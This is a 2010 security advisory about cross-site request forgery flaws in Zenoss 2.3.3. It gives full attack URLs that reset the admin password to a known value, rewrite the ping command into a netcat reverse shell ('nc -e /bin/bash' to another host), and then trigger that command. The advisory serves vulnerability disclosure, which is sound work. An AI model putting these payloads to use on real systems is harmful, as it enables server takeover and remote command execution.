Zenoss Multiple Admin CSRF Jan 16 2010 05:22PM
Adam Baldwin (adam_baldwin ngenuity-is com)
nGenuity Information Services - Security Advisory

Advisory ID: NGENUITY-2010-002 - Zenoss Multiple Admin CSRF
Application: Zenoss 2.3.3
Vendor: Zenoss
Vendor website: http://www.zenoss.com
Author: Adam Baldwin (adam_baldwin (at) ngenuity-is (dot) com [email concealed])

I. BACKGROUND
Zenoss is a commercial and open source systems and network monitoring tool. Much
of the applications functionality is accessible via a front end web application.

II. DETAILS

Multiple CSRF vulnerabilities exist that can allow for arbitrary
commands to be executed on the Zenoss server as well as reset the Zenoss
admin password.

Attack scenario: If an administrator has an active Zenoss
session and visits one of these links or visits a malicious page that
contains resources to point to these URL's

1. Reset user password to a known state Cross-Site Request Forgery CSRF,
in this case the password is reset to letmein.

http://172.16.28.5:8080/zport/dmd/ZenUsers/admin?defaultAdminLevel:int=1
&
defaultAdminRole=ZenUser&defaultPageSize:int=40&email=&eventConsoleRefre
sh:
boolean=True&manage_editUserSettings:method=Save&netMapStartObject=&page
r=&
password=letmein&sndpassword=letmein&zenScreenName=editUserSettings

2. Change and execute a command CSRF.
Change the ping command to be a netcat shell out to a remote system. In
this case an internal system running on port 443

http://172.16.28.5:8080/zport/dmd/userCommands/ping?command:text=nc -e
/bin/bash 172.16.28.6 443&commandId=ping&description:text=&
manage_editUserCommand:method=Save&zenScreenName=userCommandDetail

Execute the new "ping" command:
http://172.16.28.5:8080/zport/dmd/Devices/devices/localhost/manage_doUse
rCommand?commandId=ping

III. REFERENCES
[1] - http://www.zenoss.com

IV. VENDOR COMMUNICATION
3.10.2009 - Vulnerability Discovery
8.21.2009 - Requested status from vendor
9.29.2009 - Vendor call (Fix pending)

Copyright (c) 2009 nGenuity Information Services, LLC

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus